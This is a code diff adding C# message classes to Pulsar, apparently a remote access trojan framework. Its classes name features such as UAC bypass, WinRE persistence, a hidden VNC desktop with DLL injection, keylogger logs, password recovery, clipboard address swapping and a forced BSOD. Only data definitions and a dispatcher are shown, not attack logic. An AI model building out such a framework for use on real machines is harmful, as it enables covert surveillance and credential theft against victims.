public List<Tuple<int, string>> DeviceInfos { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Audio
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetOutputResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Audio { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Device { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoClearTempDirectory : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoClientDisconnect : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoClientReconnect : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoClientUninstall : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement.UAC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoAskElevate : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement.UAC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoDeElevate : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoElevateSystem : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement.UAC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoUACBypass : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement.WinRE
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class AddCustomFileWinRE : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Path { get; set; } = string.Empty;
|
||||
|
||||
[Key(2)]
|
||||
public string Arguments { get; set; } = string.Empty;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement.WinRE
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoAddWinREPersistence : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.ClientManagement.WinRE
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoRemoveWinREPersistence : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoBSOD : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Message { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoBlockKeyboardInput : IMessage
|
||||
{
|
||||
[Key(0)]
|
||||
public bool Block { get; set; }
|
||||
|
||||
public DoBlockKeyboardInput() { }
|
||||
|
||||
public DoBlockKeyboardInput(bool block)
|
||||
{
|
||||
Block = block;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoChangeWallpaper : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Message { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string ImageFormat { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoHideTaskbar : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Message { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoMonitorsOff : IMessage
|
||||
{
|
||||
[Key(0)]
|
||||
public bool Off { get; set; }
|
||||
|
||||
[Key(1)]
|
||||
public bool On { get; set; }
|
||||
|
||||
public DoMonitorsOff() { }
|
||||
|
||||
public DoMonitorsOff(bool off = false, bool on = false)
|
||||
{
|
||||
Off = off;
|
||||
On = on;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoSwapMouseButtons : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Message { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoCDTray : IMessage
|
||||
{
|
||||
[Key(0)]
|
||||
public bool Open { get; set; }
|
||||
|
||||
public DoCDTray() { }
|
||||
|
||||
public DoCDTray(bool open)
|
||||
{
|
||||
Open = open;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.FunStuff
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoSendBinFile : IMessage
|
||||
{
|
||||
[Key(0)]
|
||||
public string FileName { get; set; }
|
||||
|
||||
[Key(1)]
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public DoSendBinFile() { }
|
||||
|
||||
public DoSendBinFile(string fileName, byte[] data)
|
||||
{
|
||||
FileName = fileName;
|
||||
Data = data;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDebugLog : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Log { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles registrations of <see cref="IMessageProcessor"/>s and processing of <see cref="IMessage"/>s.
|
||||
/// </summary>
|
||||
public static class MessageHandler
|
||||
{
|
||||
/// <summary>
|
||||
/// List of registered <see cref="IMessageProcessor"/>s.
|
||||
/// </summary>
|
||||
private static readonly List<IMessageProcessor> Processors = new List<IMessageProcessor>();
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="Processors"/> between threads.
|
||||
/// </summary>
|
||||
private static readonly object SyncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Registers a <see cref="IMessageProcessor"/> to the available <see cref="Processors"/>.
|
||||
/// </summary>
|
||||
/// <param name="proc">The <see cref="IMessageProcessor"/> to register.</param>
|
||||
public static void Register(IMessageProcessor proc)
|
||||
{
|
||||
lock (SyncLock)
|
||||
{
|
||||
if (Processors.Contains(proc)) return;
|
||||
Processors.Add(proc);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Unregisters a <see cref="IMessageProcessor"/> from the available <see cref="Processors"/>.
|
||||
/// </summary>
|
||||
/// <param name="proc"></param>
|
||||
public static void Unregister(IMessageProcessor proc)
|
||||
{
|
||||
lock (SyncLock)
|
||||
{
|
||||
Processors.Remove(proc);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Forwards the received <see cref="IMessage"/> to the appropriate <see cref="IMessageProcessor"/>s to execute it.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of the message.</param>
|
||||
/// <param name="msg">The received message.</param>
|
||||
/// <param name="dispatchAsync">When true, executes each handler on the thread pool to avoid blocking the caller.</param>
|
||||
public static void Process(ISender sender, IMessage msg, bool dispatchAsync = true)
|
||||
{
|
||||
if (msg == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
IEnumerable<IMessageProcessor> availableProcessors;
|
||||
lock (SyncLock)
|
||||
{
|
||||
// select appropriate message processors
|
||||
availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList();
|
||||
// ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors
|
||||
}
|
||||
|
||||
foreach (var executor in availableProcessors)
|
||||
{
|
||||
if (dispatchAsync)
|
||||
{
|
||||
QueueProcessorExecution(executor, sender, msg);
|
||||
}
|
||||
else
|
||||
{
|
||||
ExecuteProcessorSafely(executor, sender, msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void QueueProcessorExecution(IMessageProcessor processor, ISender sender, IMessage message)
|
||||
{
|
||||
var context = new MessageDispatchContext
|
||||
{
|
||||
Processor = processor,
|
||||
Sender = sender,
|
||||
Message = message
|
||||
};
|
||||
|
||||
ThreadPool.UnsafeQueueUserWorkItem(DispatchCallback, context);
|
||||
}
|
||||
|
||||
private static void ExecuteProcessorSafely(IMessageProcessor processor, ISender sender, IMessage message)
|
||||
{
|
||||
try
|
||||
{
|
||||
processor.Execute(sender, message);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[MessageHandler] Processor '{processor?.GetType().Name}' threw an exception: {ex}");
|
||||
}
|
||||
}
|
||||
|
||||
private static readonly WaitCallback DispatchCallback = state =>
|
||||
{
|
||||
if (state is MessageDispatchContext context)
|
||||
{
|
||||
context.Invoke();
|
||||
}
|
||||
};
|
||||
|
||||
private sealed class MessageDispatchContext
|
||||
{
|
||||
public IMessageProcessor Processor;
|
||||
public ISender Sender;
|
||||
public IMessage Message;
|
||||
|
||||
public void Invoke()
|
||||
{
|
||||
try
|
||||
{
|
||||
Processor?.Execute(Sender, Message);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[MessageHandler] Processor '{Processor?.GetType().Name}' threw an exception: {ex}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
Processor = null;
|
||||
Sender = null;
|
||||
Message = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoGetAddress : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Type { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoSendAddress : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Address { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class SendClipboardData : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ClipboardText { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
/// <summary>
|
||||
/// Message to enable or disable clipboard monitoring on the client.
|
||||
/// </summary>
|
||||
[MessagePackObject]
|
||||
public class SetClipboardMonitoringEnabled : IMessage
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets or sets whether clipboard monitoring should be enabled.
|
||||
/// </summary>
|
||||
[Key(1)]
|
||||
public bool Enabled { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoHVNCInput : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public uint msg { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int wParam { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int lParam { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCDesktop : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int DisplayIndex { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public RemoteDesktopStatus Status { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public bool UseGPU { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int FramesRequested { get; set; } = 1;
|
||||
|
||||
[Key(7)]
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Video;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCDesktopResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Image { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public Resolution Resolution { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public long Timestamp { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public bool IsLastRequestedFrame { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public float Fps { get; set; } = -1f;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCMonitors : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCMonitorsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Number { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class StartHVNCProcess : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Path { get; set; }
|
||||
[Key(2)]
|
||||
public string Arguments { get; set; }
|
||||
[Key(3)]
|
||||
public bool DontCloneProfile { get; set; }
|
||||
[Key(4)]
|
||||
public byte[] DllBytes { get; set; }
|
||||
[Key(5)]
|
||||
public string CustomBrowserPath { get; set; }
|
||||
[Key(6)]
|
||||
public string CustomSearchPattern { get; set; }
|
||||
[Key(7)]
|
||||
public string CustomReplacementPath { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.KeyLogger
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetKeyloggerLogsDirectory : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetKeyloggerLogsDirectoryResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string LogsDirectory { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Passwords
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetPasswords : IMessage
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetPasswordsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public List<RecoveredAccount> RecoveredAccounts { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Query
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetBrowsers : IMessage
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user